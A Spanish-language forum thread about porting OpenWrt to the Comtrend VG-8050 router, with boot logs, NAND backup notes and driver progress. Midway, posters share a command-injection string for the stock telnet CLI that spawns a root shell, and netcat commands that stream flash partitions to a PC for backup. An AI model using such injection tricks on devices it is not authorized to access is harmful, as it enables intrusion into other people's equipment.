Seguridad Wireless - Wifi

Equipos y materiales => Puntos de acceso, routers, switchs y bridges => Openwrt & LEDE => Mensaje iniciado por: Noltari en 06-10-2014, 16:22 (Lunes)

Título: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: Noltari en 06-10-2014, 16:22 (Lunes)
Firmwares Originales de Movistar (sin bootloader CFE)
VG-8050-SB01-S412TLF-C08_R10 (https://drive.google.com/uc?id=0ByrtEG1tVo67V3BZdURzRld4OW8)
VG-8050-SB01-S412TLF-C07_R03 (https://drive.google.com/uc?id=0ByrtEG1tVo67OUpuQnk5cUFFTDA)
VG-8050-SB01-S412TLF-C06_R05 (https://drive.google.com/uc?id=0ByrtEG1tVo67ck9BbDYzYVYycWs)

Wiki
http://wiki.openwrt.org/toh/comtrend/vg8050

Código Fuente
https://github.com/openwrt-es/openwrt/commits/brcm63xx-vg8050 (https://github.com/openwrt-es/openwrt/commits/brcm63xx-vg8050)

Estado
Puerto serie soldado.
Cuando esté más avanzado el soporte para este router habrá que mirar el tema de hacer un mod USB, puesto que lleva dos conectores no soldados muy golosos en la placa (estilo WAP-5813n).
Realizando un backup completo de la NAND por UART.
Soporte inicial de OpenWrt.

Agradecimietos
Muchas gracias a SinHouse por donar este router a la ciencia ;D.

Mod USB
No realicéis el mod USB a no ser que sepáis lo que estáis haciendo.
(https://drive.google.com/uc?id=0ByrtEG1tVo67NU5RWDJvdmQ5TlE) (https://drive.google.com/uc?id=0ByrtEG1tVo67NU5RWDJvdmQ5TlE)

Y las resistencias de 4.7kΩ:
(https://drive.google.com/uc?id=0ByrtEG1tVo67c0c5cWdUVVJaZmM) (https://drive.google.com/uc?id=0ByrtEG1tVo67c0c5cWdUVVJaZmM)

Saludos!
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: arfonzo en 06-10-2014, 16:35 (Lunes)
Bien...
Tengo uno con menos de dos meses guardadito en su caja....
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: jar229 en 06-10-2014, 18:53 (Lunes)
 >:( >:( >:(
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: Noltari en 06-10-2014, 22:48 (Lunes)
Buenas otra vez,

Al fin he conseguido adaptar la herramienta de dumpeo de la flash por uart (cfetool) para este router.
La acabo de poner, pero dumpear una NAND por uart puede llevar demasiado tiempo xD.

Saludos!
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: Tki2000 en 07-10-2014, 07:54 (Martes)
dumpear una NAND por uart puede llevar demasiado tiempo xD.

Unas 6 horas y media le calculo yo...  ;D
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: Noltari en 08-10-2014, 03:05 (Miércoles)
Buenas otra vez,

He conseguido arrancar un ramdisk en el router sin fallos, aunque con ciertas carencias:

Saludos!

Unas 6 horas y media le calculo yo...  ;D
Al final ha tardado algo más: http://pastebin.com/gtPYGh8h
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: Tki2000 en 08-10-2014, 12:07 (Miércoles)
Unas 6 horas y media le calculo yo...  ;D
Al final ha tardado algo más: http://pastebin.com/gtPYGh8h

¡Qué paciencia hay que tener para estos trastos!... ¡Dios!... 14 horas...  :-X
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: Noltari en 08-10-2014, 12:44 (Miércoles)
Por si alguien quiere echarle un ojo (es el primer 63x68 del foro, por lo que aún quedan bastantes cosas por pulir):
http://pastebin.com/xwJcTscC

Saludos!
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: SinHouse en 11-10-2014, 23:27 (Sábado)
Ole, ole que rapido ;D
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: oboka en 12-10-2014, 22:43 (Domingo)
Voy a seguir muy de cerca este desarrollo, ya que creo que le podemos sacar un gran partido a este hw. Actualmente estoy con un tplink wr1043nd v1, pero tengo algunos problemas de rendimiento para tener la fibra con internet, voip y movistar tv a la vez en este hw. :-\

Gracias a todos los implicados, desarrolladores y al que ha donado el router para su estudio.  >:(
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: backglass en 11-11-2014, 16:20 (Martes)
 >:( >:( ;D
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: sergisat en 12-11-2014, 14:49 (Miércoles)
Otro mas con este cacharro esperando a ver si lo exprimimos un poco mas.
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: backglass en 14-11-2014, 16:28 (Viernes)
Cómo va el desarrollo?
No creo que se pueda utilizar el WIFI  en este comtrend (Tema driver) :-\
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: backglass en 22-11-2014, 23:41 (Sábado)
Hola,
Dejo el log del router.


Datos interesantes:



Código: [Seleccionar]
<6>Brcm NAND controller version = 4.0 NAND flash size 128MB @18000000

Código: [Seleccionar]
Linux version 2.6.30 (yanyang@rd7-server) (gcc version 4.4.2 (Buildroot 2010.02-git) ) #1 SMP PREEMPT Wed Jan 29 13:38:58 CST 2014
######wl version######
5.100 RC138.2008

Particiones /proc/mtd

Código: [Seleccionar]
<5>Creating 4 MTD partitions on "brcmnand.0":
<5>0x000000020000-0x000003d80000 : "rootfs"
<5>0x000003d80000-0x000007ae0000 : "rootfs_update"
<5>0x000007b00000-0x000007f00000 : "data"
<5>0x000000000000-0x000000020000 : "nvram"

Código: [Seleccionar]
<5>Kernel command line: root=mtd:rootfs ro rootfstype=jffs2 console=ttyS0,115200
<4>wait instruction: enabled
<4>Primary instruction cache 64kB, VIPT, 4-way, linesize 16 bytes.
<4>Primary data cache 32kB, 2-way, VIPT, cache aliases, linesize 16 bytes
<6>NR_IRQS:128
<4>PID hash table entries: 512 (order: 9, 2048 bytes)
<6>console [ttyS0] enabled
<6>Dentry cache hash table entries: 16384 (order: 4, 65536 bytes)
<6>Inode-cache hash table entries: 8192 (order: 3, 32768 bytes)
<4>Allocating memory for DSP module core and initialization code
<4>Allocated DSP module memory - CORE=0x0 SIZE=0, INIT=0x0 SIZE=0
<6>Memory: 124004k/129848k available (3212k kernel code, 5672k reserved, 853k data, 152k init, 0k highmem)
<6>Calibrating delay loop... 398.33 BogoMIPS (lpj=199168)
<4>Mount-cache hash table entries: 512


Configuración kernel


Código: [Seleccionar]
<6>--Kernel Config--
<6>  SMP=1
<6>  PREEMPT=1
<6>  DEBUG_SPINLOCK=0
<6>  DEBUG_MUTEXES=0

El router tiene dos puertos USB

Código: [Seleccionar]
<6>ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver
<4>PCI: Enabling device 0000:00:0a.0 (0000 -> 0002)
<7>PCI: Setting latency timer of device 0000:00:0a.0 to 64
<6>ehci_hcd 0000:00:0a.0: EHCI Host Controller
<6>ehci_hcd 0000:00:0a.0: new USB bus registered, assigned bus number 1
<4>ehci_hcd 0000:00:0a.0: Enabling legacy PCI PM
<6>ehci_hcd 0000:00:0a.0: irq 18, io mem 0x10002500
<6>ehci_hcd 0000:00:0a.0: USB f.f started, EHCI 1.00
<6>usb usb1: configuration #1 chosen from 1 choice
<6>hub 1-0:1.0: USB hub found
<6>hub 1-0:1.0: 2 ports detected


/proc/cpuinfo


Código: [Seleccionar]
######/proc/cpuinfo######
system type             : 963169P-1861N5
processor               : 0
cpu model               : Broadcom4350 V8.0
BogoMIPS                : 398.33
wait instruction        : yes
microsecond timers      : yes
tlb_entries             : 32
extra interrupt vector  : no
hardware watchpoint     : no
ASEs implemented        :
shadow register sets    : 1
core                    : 0
VCED exceptions         : not available
VCEI exceptions         : not available

unaligned exceptions            : 28016
processor               : 1
cpu model               : Broadcom4350 V8.0
BogoMIPS                : 402.43
wait instruction        : yes
microsecond timers      : yes
tlb_entries             : 32
extra interrupt vector  : no
hardware watchpoint     : no
ASEs implemented        :
shadow register sets    : 1
core                    : 0
VCED exceptions         : not available
VCEI exceptions         : not available




Para obtener el dump entráis en el router vía telnet y ejecutáis dumpsysinfo
He modificado el log quitando datos sensibles
Os dejo el log en pastebin: http://pastebin.com/0g80L6BP
Saludos

Actualización:
He visto que hay un patch que da soporte a nuestra NAND MX30LF1G08AA
https://dev.openwrt.org/browser/trunk/target/linux/ramips/patches-3.10/0507-MTD-add-mt7621-nand-support.patch?rev=39040
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: Tki2000 en 24-11-2014, 09:04 (Lunes)

Actualización:
He visto que hay un patch que da soporte a nuestra NAND MX30LF1G08AA
https://dev.openwrt.org/browser/trunk/target/linux/ramips/patches-3.10/0507-MTD-add-mt7621-nand-support.patch?rev=39040


Creo que el problema está en las NAND para el chipset Broadcom. El parche es para chipset Mediatek...
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: backglass en 24-11-2014, 13:43 (Lunes)
Entonces mal asunto  :(
Sería posible arrancar OpenWrt usando un pendrive sólo con el kernel en la flash?
Saludos
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: Tki2000 en 25-11-2014, 09:32 (Martes)
Entonces mal asunto  :(
Sería posible arrancar OpenWrt usando un pendrive sólo con el kernel en la flash?
Saludos

No estoy seguro de ello. Aunque el bootloader cargara el kernel de la flash, tendrías que hacer un monolítico con todos los módulos de USB y demás para continuar la carga desde USB. Complica la cosa, pero a lo mejor se puede. Lo que no sé es, si al no reconocer el kernel, el propio dispositivo desde el que se ha cargado, éste no se volverá "loco"...
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: backglass en 25-11-2014, 23:45 (Martes)
Por si alguien quiere echarle un ojo (es el primer 63x68 del foro, por lo que aún quedan bastantes cosas por pulir):
http://pastebin.com/xwJcTscC

Saludos!
Buenas,
Cómo has cargado el archivo en el router  ??? ;D
He visto que no modifica el firmware actual. Podrías dar más detalles?
http://wiki.openwrt.org/doc/howto/generic.flashing#install.a.ramdisk-image.into.main.memory
Sería posible este método?
Saludos
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: Pteridium en 26-11-2014, 15:51 (Miércoles)
Por si alguien quiere echarle un ojo (es el primer 63x68 del foro, por lo que aún quedan bastantes cosas por pulir):
http://pastebin.com/xwJcTscC

Saludos!
Buenas,
Cómo has cargado el archivo en el router  ??? ;D
He visto que no modifica el firmware actual. Podrías dar más detalles?
http://wiki.openwrt.org/doc/howto/generic.flashing#install.a.ramdisk-image.into.main.memory
Sería posible este método?
Saludos
Debería ser posible, pero tendrás que ceñirte a los comandos del CFE para cargar la imagen en RAM (usando puerto serie) o meter el ramdisk directo en la flash con la interfaz web que tiene el router.
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: backglass en 28-11-2014, 19:02 (Viernes)
Buenas,
No sé cómo va el proyecto, pero me parece que hasta que no se consiga cargar el kernel en NAND, el proyecto está KO
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: Noltari en 07-12-2014, 02:02 (Domingo)
Buenas,

Acabo de añadir al primer post la documentación del mod USB que he conseguido realizar hoy.
Por favor, no intentéis este mod si no tenéis habilidad soldando.

A parte de eso, el proyecto está parado, ya que de momento me limito a cargar ramdisks, puesto que no podemos flashear un firmware si no podemos leer ni escribir en la NAND, ya que nos cargaríamos el firmware original y es interesante realizar un backup con un ramdisk antes, una vez que tengamos acceso a la NAND.
Por otro lado, no funcionan ni el WiFi, ni el ethernet, ni GPIOS de momento.

P.D: el mod USB funciona con el firmware original, puesto que trae soporte para USBs aunque estos no estén soldados.

Saludos!
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: backglass en 07-12-2014, 23:01 (Domingo)
Buenas,
Buen Mod  ;D

En la página del fabricante está el driver de la NAND.
http://www.macronix.com/Lists/TechDoc/Attachments/3801/MX30LF1G08AA,%20LLD,%20v0.1.zip

DataSheet.
http://www.macronix.com/Lists/DataSheet/Attachments/1753/MX30LF1G08AA,%203V,%201Gb,%20v1.5.pdf

Mi idea es si se puede utilizar el driver para hacer un dump de la nand.
Si hay un parche de  Ralink  que añade soporte para la misma NAND, no funcionaría para el nuestro?

Modificación:
Este router me sorprende:

Direciones útiles:


Un saludo
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: Tki2000 en 09-12-2014, 09:01 (Martes)
Si hay un parche de  Ralink  que añade soporte para la misma NAND, no funcionaría para el nuestro?

Otras CPU sí tienen el código para escribir en la NAND portado, pero para las CPU Broadcom no existe ese driver todavía. No sé cuál es el problema, pero me imagino que alguna chufla con el kernel, o con el sistema de ficheros de la NAND, o simplemente nadie se ha puesto con ello todavía...
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: backglass en 10-12-2014, 21:00 (Miércoles)
Buenas,

He conseguido obtener una shell.
Para entrar en el router:

Código: [Seleccionar]
alejandro@skynet:~$ telnet 192.168.1.1
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
BCM963268 Broadband Router
Login: 1234
Password:

A continuación escribir:
Código: [Seleccionar]
ping echo `/bin/sh > /dev/tty`

Os saldrá esto:

Código: [Seleccionar]
BusyBox v1.17.2 (2014-01-29 13:42:38 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# ls
Quantenna   data        lib         opt         sys         var
bin         dev         linuxrc     proc        tmp         vmlinux.lz
cferam.009  etc         mnt         sbin        usr         webs
# help
Built-in commands:
------------------
        . : alias break cd chdir continue eval exec exit export false
        hash help let local pwd read readonly return set shift source
        times trap true type ulimit umask unalias unset wait

#

 >:D


Cosas interesantes:

Código: [Seleccionar]
# cd Quantenna/
# ls
ruby-linux.lzma.img  u-boot.bin

Qué creéis que es?
El archivo ruby-linux.lzma.img está comprimido en lzma ^-^



Código: [Seleccionar]
# df
Filesystem           1024-blocks    Used Available Use% Mounted on
mtd:rootfs               62848     23048     39800  37% /
mtd:data                  4096       436      3660  11% /data

# cd /data/

# ls -last
   8 -rw-------    1 1234     root          8192 Dec 10 21:18 scratchpad
  24 -rw-------    1 1234     root         24818 Dec 10 20:08 psi
  24 -rw-------    1 1234     root         24818 Dec 10 20:08 psibackup
   0 drwxr-xr-x    3 1234     root             0 Jan  1  1970 .
   0 drwxr-xr-x   17 1234     root             0 Jan  1  1970 ..




Para hacer un dump:

Los datos que vamos a guardar:

Código: [Seleccionar]
# cat /proc/mtd
dev:    size   erasesize  name
mtd0: 03d60000 00020000 "rootfs"
mtd1: 03d60000 00020000 "rootfs_update"
mtd2: 00400000 00020000 "data"
mtd3: 00020000 00020000 "nvram"


Ejecutar:

Código: [Seleccionar]
nc -lp 4444  > backup-mtd0-rootfs       <---  Abre un puerto. Ejecutar en vuestro ordenador
cat /dev/mtd0 | /usr/bin/nc 192.168.1.33 4444   <--- Ejecutar en vuestro router



Código: [Seleccionar]
nc -lp 4444  > backup-mtd1-rootfs_update    
cat /dev/mtd1 | /usr/bin/nc 192.168.1.33 4444


Código: [Seleccionar]
nc -lp 4444  > backup-mtd2-data    
cat /dev/mtd2 | /usr/bin/nc 192.168.1.33 4444



Código: [Seleccionar]
nc -lp 4444  > backup-mtd3-nvram    
cat /dev/mtd3 | /usr/bin/nc 192.168.1.33 4444

Nota: Hacer un md5sum

Para montar el sistema de archivos en modo escritura:
Código: [Seleccionar]
mount -o remount,rw /
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: Noltari en 11-12-2014, 13:14 (Jueves)
Buenas,

He conseguido obtener una shell.
Para entrar en el router:

Código: [Seleccionar]
alejandro@skynet:~$ telnet 192.168.1.1
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
BCM963268 Broadband Router
Login: 1234
Password:

A continuación escribir:
Código: [Seleccionar]
ping echo `/bin/sh > /dev/tty`

Os saldrá esto:

Código: [Seleccionar]
BusyBox v1.17.2 (2014-01-29 13:42:38 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# ls
Quantenna   data        lib         opt         sys         var
bin         dev         linuxrc     proc        tmp         vmlinux.lz
cferam.009  etc         mnt         sbin        usr         webs
# help
Built-in commands:
------------------
        . : alias break cd chdir continue eval exec exit export false
        hash help let local pwd read readonly return set shift source
        times trap true type ulimit umask unalias unset wait

#

 >:D


Cosas interesantes:

Código: [Seleccionar]
# cd Quantenna/
# ls
ruby-linux.lzma.img  u-boot.bin

Qué creéis que es?
El archivo ruby-linux.lzma.img está comprimido en lzma ^-^



Código: [Seleccionar]
# df
Filesystem           1024-blocks    Used Available Use% Mounted on
mtd:rootfs               62848     23048     39800  37% /
mtd:data                  4096       436      3660  11% /data

# cd /data/

# ls -last
   8 -rw-------    1 1234     root          8192 Dec 10 21:18 scratchpad
  24 -rw-------    1 1234     root         24818 Dec 10 20:08 psi
  24 -rw-------    1 1234     root         24818 Dec 10 20:08 psibackup
   0 drwxr-xr-x    3 1234     root             0 Jan  1  1970 .
   0 drwxr-xr-x   17 1234     root             0 Jan  1  1970 ..




Para hacer un dump:

Los datos que vamos a guardar:

Código: [Seleccionar]
# cat /proc/mtd
dev:    size   erasesize  name
mtd0: 03d60000 00020000 "rootfs"
mtd1: 03d60000 00020000 "rootfs_update"
mtd2: 00400000 00020000 "data"
mtd3: 00020000 00020000 "nvram"


Ejecutar:

Código: [Seleccionar]
nc -lp 4444  > backup-mtd0-rootfs       <---  Abre un puerto. Ejecutar en vuestro ordenador
cat /dev/mtd0 | /usr/bin/nc 192.168.1.33 4444   <--- Ejecutar en vuestro router



Código: [Seleccionar]
nc -lp 4444  > backup-mtd1-rootfs_update    
cat /dev/mtd1 | /usr/bin/nc 192.168.1.33 4444


Código: [Seleccionar]
nc -lp 4444  > backup-mtd2-data    
cat /dev/mtd2 | /usr/bin/nc 192.168.1.33 4444



Código: [Seleccionar]
nc -lp 4444  > backup-mtd3-nvram    
cat /dev/mtd3 | /usr/bin/nc 192.168.1.33 4444

Nota: Hacer un md5sum

Para montar el sistema de archivos en modo escritura:
Código: [Seleccionar]
mount -o remount,rw /
No sabes lo bien que me ha venido la shell en el firmware original :D

Gracias a esto he podido confirmar que el switch está conectado por HSSPI al CS5.
Me estaba volviendo loco porque no conseguía que b53 me detectara el switch en ningún CS.
Ahora puedo centrarme en averiguar qué está fallando exactamente porque ya sé dónde va conectado.

Saludos.
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: Noltari en 14-12-2014, 19:30 (Domingo)
Buenas otra vez,

Por fin he conseguido hacer funcionar los LEDs en este router:
http://pastebin.com/j2pyv4Jd

Hay que modificar el registro GPIOMode y habilitar los pines 0 y 1 como GPIOs para poder hacer funcionar los LEDs asignados en las salidas de los 74HC164D que lleva el router.

El problema es que no hay ningún pinmux driver para bcm63xx, por lo que de momento habría que hacerlo con una escritura un poco hackish desde board_common.c.
Por mi cuenta he desarrollado un driver pinmux para bcm63xx, pero a jogo no le convence:
http://pastebin.com/dNwrASMC

Así que el desarrollo del router queda parado a la espera de poder avanzar en cuanto al pinmux driver.
A parte de eso quedaría el tema de la NAND, el switch y el WiFi.

Saludos!
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: Tki2000 en 14-12-2014, 20:05 (Domingo)
Buenas otra vez,

Por fin he conseguido hacer funcionar los LEDs en este router:
http://pastebin.com/j2pyv4Jd

Hay que modificar el registro GPIOMode y habilitar los pines 0 y 1 como GPIOs para poder hacer funcionar los LEDs asignados en las salidas de los 74HC164D que lleva el router.

El problema es que no hay ningún pinmux driver para bcm63xx, por lo que de momento habría que hacerlo con una escritura un poco hackish desde board_common.c.
Por mi cuenta he desarrollado un driver pinmux para bcm63xx, pero a jogo no le convence:
http://pastebin.com/dNwrASMC

Así que el desarrollo del router queda parado a la espera de poder avanzar en cuanto al pinmux driver.
A parte de eso quedaría el tema de la NAND, el switch y el WiFi.

Saludos!

 >:( >:( >:(
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: rsaralegui en 09-01-2015, 13:06 (Viernes)
En el directorio /webs está el html del configurador web. Hay una página que te permite directamente descargar la FLASH completa (son 128 MB) o partes de ella:
http://192.168.1.1/backupnandflash.html (http://192.168.1.1/backupnandflash.html)
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: pepevel en 18-03-2015, 14:43 (Miércoles)


Hola, igual digo una tontería pero parece que han añadido el soporte para los chips NAND que hace falta:

[PATCH 3/3] mtd: nand: add NAND driver for Broadcom STB NAND controller (https://lkml.org/lkml/2015/3/6/906)

Un saludo
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: danitool en 19-03-2015, 20:20 (Jueves)


Hola, igual digo una tontería pero parece que han añadido el soporte para los chips NAND que hace falta:

[PATCH 3/3] mtd: nand: add NAND driver for Broadcom STB NAND controller (https://lkml.org/lkml/2015/3/6/906)

Un saludo

Efectivamente aunque parece que todavía está en proceso de ser aceptado, van por la versión 2 del parche y  por lo que veo Florian lo está revisando.
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: Pteridium en 20-03-2015, 12:48 (Viernes)
Pregunta del millón: ¿no hay manera de soldar una flash SPI y que arranque desde ella?  ???

Es interesante que tenga los pads para soldar un socket miniPCI, como el AR-5381, aunque haría falta averiguar qué componentes necesita a más para que se pueda usar.  :-\
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: Noltari en 06-04-2015, 20:34 (Lunes)
Añadidos al primer post dos firmwares extraídos de la NAND del router.

Para extraer los firmwares he realizado un backup de la NAND desde la web que proporciona el firmware original backupflash.html.
Sin embargo, este backup contiene los datos OOB de la NAND, por lo que dichos datos han de ser eliminados para que el backup pueda ser correctamente flasheado.
Para ello he desarrollado una herramienta que elimina dichos datos: https://github.com/openwrt-es/nandtools

He comparado dicho backup con el obtenido mediante el driver de la NAND para OpenWrt que Brian Norris y Kevin Cernekee han desarrollado, y al cual yo he añadido ciertas modificaciones para que fuera compatible con los BCM63268.
Más info: https://github.com/openwrt-es/openwrt/commit/ec7552edcdedebd92f4fee4bf0d8aded272b7426

Ahora que ya tenemos lectura/escritura/borrado en la NAND desde OpenWrt el problema es el sistema de carga del firmware que utiliza Broadcom:
Una única partición JFFS2 en la NAND que contiene el kernel como un fichero más, así como un secondstage bootloader (cferam) que es ejecutado por el bootloader principal (cferom), y que se encarga de ejecutar el kernel: cferom -> cferam -> kernel.
Como os podéis imaginar el código fuente de cferam es propietario, por lo que no está disponible.
Así que existen varias alternativas para poder ejecutar OpenWrt:
1) Incluir el binario original del cferam en una partición con sistema de ficheros JFFS2 que contenga además el kernel, y ubicar el sistema de ficheros por separado en otra partición (el sistema de ficheros podría ser ubifs).
2) Añadir soporte en uboot para el 63268 y hacer una partición que contenga el cferam y el uboot, de forma que dicha partición sólo será creada una única vez y será uboot quien se encargue de flashear OpenWrt en la NAND.

La 2 es la más lógica y cómoda a largo plazo, pero la 1 es la más sencilla.

Y hasta aquí los avances en los BCM63268, perdón por el testamento.

Un saludo,
Noltari.
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: Pteridium en 07-04-2015, 18:46 (Martes)
Jo, menudo chorizo de parche.  >:(
Hasta donde entiendo el CFE es la pega, ¿no?

Por cierto ¿U-boot para BCM63xx no es un pelín quimera?  ???
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: rsaralegui en 16-04-2015, 14:01 (Jueves)

Hace unos pocos días Movistar ha actualizado automáticamente el firmware del router a la versión C08_R10.

Código: [Seleccionar]
Device Info
Board ID: 963169P-1861N5
Software Version: SB01-S412TLF-C08_R10
Bootloader (CFE) Version: 1.0.38-112.70-14
Wireless Driver Version: 6.30.102.7.cpe4.12L04.1

El "truco" para conseguir una shell ya no funciona:

Código: [Seleccionar]
> ping echo `/bin/sh > /dev/tty`
Warning: operator ` is not supported!
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: Noltari en 18-04-2015, 14:12 (Sábado)
Añadido al primer post el código fuente más reciente hasta la fecha, que incluye soporte para leer la NAND (sí, he desactivado la escritura para que no haya accidentes) y soporte del switch, por lo que ya hay comunicación vía ethernet ;D (gracias a la ayuda de jogo).

https://github.com/openwrt-es/openwrt/commits/brcm63xx-vg8050

Jo, menudo chorizo de parche.  >:(
Hasta donde entiendo el CFE es la pega, ¿no?

Por cierto ¿U-boot para BCM63xx no es un pelín quimera?  ???
Alguna solución hay que inventar, sea la que sea, porque el método utilizado por Broadcom no deja muchas opciones...


Hace unos pocos días Movistar ha actualizado automáticamente el firmware del router a la versión C08_R10.

Código: [Seleccionar]
Device Info
Board ID: 963169P-1861N5
Software Version: SB01-S412TLF-C08_R10
Bootloader (CFE) Version: 1.0.38-112.70-14
Wireless Driver Version: 6.30.102.7.cpe4.12L04.1

El "truco" para conseguir una shell ya no funciona:

Código: [Seleccionar]
> ping echo `/bin/sh > /dev/tty`
Warning: operator ` is not supported!
Seguramente la solución del error haya venido de Comtrend y no de Movistar...

Saludos!
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: Noltari en 18-04-2015, 16:52 (Sábado)
Añadido al primer post el último firmware disponible: VG-8050-SB01-S412TLF-C08_R10

Saludos.
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: jordipalet en 08-08-2015, 13:29 (Sábado)
Hola,

Soy nuevo con la fibra de Telefonica, me pusieron el Mitrastar, pero se colgaba, no me permitia protocolo-41 a traves de la DMZ (funcionaba cuando queria), se reiniciaba, etc.

Ante eso, puse OpenWRT en un router Comtrend AR5387un, y me funciona increible, pero claro tiene puertos de 100 en lugar de Gigabit ...

He logrado que me cambien el Mitrastar por el VG-8050, que aunque tenia criticas por la WiFi, a mi me da igual (esta en un cuartucho del garaje que es donde tengo la conexion de fibra), porque tengo varios AP y conexiones Gigabit en los puntos de la casa.

La verdad es que me parece que entre los equipos que entrega Telefonica, es la mejor opcion por el chipset, pues otros (incluido el Mitrastar), llevan Realtek u otros chips peores y me da que no es facil poner OpenWRT.

He probado el VG-8050 y me va muy bien, incluso me permite configurar el tunel IPv6 (dice 6rd pero admite 6in4 sin problema) sin necesidad de poner en el DMZ un equipo que lo haga.

Lo que no me habia dado cuenta es que el VG-8050 aun no esta soportado ...

Hace muchos años que no programo, asi que en eso estoy desfasado, pero si me ofrezco para pruebas de lo que vayais haciendo si os hace falta (en configuracion de redes soy usuario avanzado, trabajo en eso de hecho).

Tengo tambien convertidor TTL-serie a USB y lo he usado con exito para hacer pruebas con otros routers antes de poner el Comtrend AR5387un.

Asi que ya me direis si puedo ayudar de alguna forma.
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: jema en 21-08-2015, 11:57 (Viernes)
Hola...

¿Alguien tiene el firmware original SB01-S412TLF-C08_R08 ?
Me gustaría probar la opción de TV Services (DLNA) de los canales de movistar Tv. En la última lo han quitado del menú de configuración.

¿Es posible que se pueda acceder a esa configuración directamente (algo así como 192.168.1.1/tvservices.html) ???

Gracias

Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: Pteridium en 21-08-2015, 17:22 (Viernes)
He probado el VG-8050 y me va muy bien, incluso me permite configurar el tunel IPv6 (dice 6rd pero admite 6in4 sin problema) sin necesidad de poner en el DMZ un equipo que lo haga.

Lo que no me habia dado cuenta es que el VG-8050 aun no esta soportado ...
No está soportado oficialmente porque la flash es NAND. Tendrás que compilar tu propio firm a partir de este repo: brcm63xx-vg8050 (https://github.com/openwrt-es/openwrt/tree/brcm63xx-vg8050)
Si no recuerdo mal la wifi no funcionará.
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: rgallosog en 21-08-2015, 22:40 (Viernes)
Hola, soy nuevo por aquí, me ofresco para ayudar en lo poco que pueda, necesito saber cómo levanto en ram desde tftp openWrt para este router, lo he intentado con las fuentes de Noltari pero ni el .elf ni el .squashfs levantan bien.
Gracias de antemano y un saludo.
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: backglass en 28-08-2015, 19:24 (Viernes)
Firmwares Originales de Movistar (sin bootloader CFE)
VG-8050-SB01-S412TLF-C08_R10 (https://drive.google.com/uc?id=0ByrtEG1tVo67V3BZdURzRld4OW8)
Buenas,

Me gustaría saber si el firmware original se puede flashear directamente a través de http://192.168.1.1/upload.html

o siguiendo el procedimiento descrito en la wiki del router:

Código: [Seleccionar]
Flashing ANY Firmware

You must set your TCP/IP v4 protocol to:

    IP: 192.168.1.2
    Netmask: 255.255.255.0
    Gateway: 192.168.1.1
    DNS: (optional, can be blank).

Then:

    Power off the router.
    Press reset button near the antenna.
    Keep it pressed while powering up during ~20+ seconds.
    Acces to http://192.168.1.1 and upload binary file.
    Wait until router reboots.


Saludos
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: jema en 04-09-2015, 13:41 (Viernes)
Hola...

¿Alguien tiene el firmware original SB01-S412TLF-C08_R08 ?
Me gustaría probar la opción de TV Services (DLNA) de los canales de movistar Tv. En la última lo han quitado del menú de configuración.

¿Es posible que se pueda acceder a esa configuración directamente (algo así como 192.168.1.1/tvservices.html) ???

Gracias



Algún crack podría contestarme....
Gracias chicos
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: Pteridium en 04-09-2015, 15:22 (Viernes)
Hola...

¿Alguien tiene el firmware original SB01-S412TLF-C08_R08 ?
Me gustaría probar la opción de TV Services (DLNA) de los canales de movistar Tv. En la última lo han quitado del menú de configuración.

¿Es posible que se pueda acceder a esa configuración directamente (algo así como 192.168.1.1/tvservices.html) ???

Gracias



Algún crack podría contestarme....
Gracias chicos

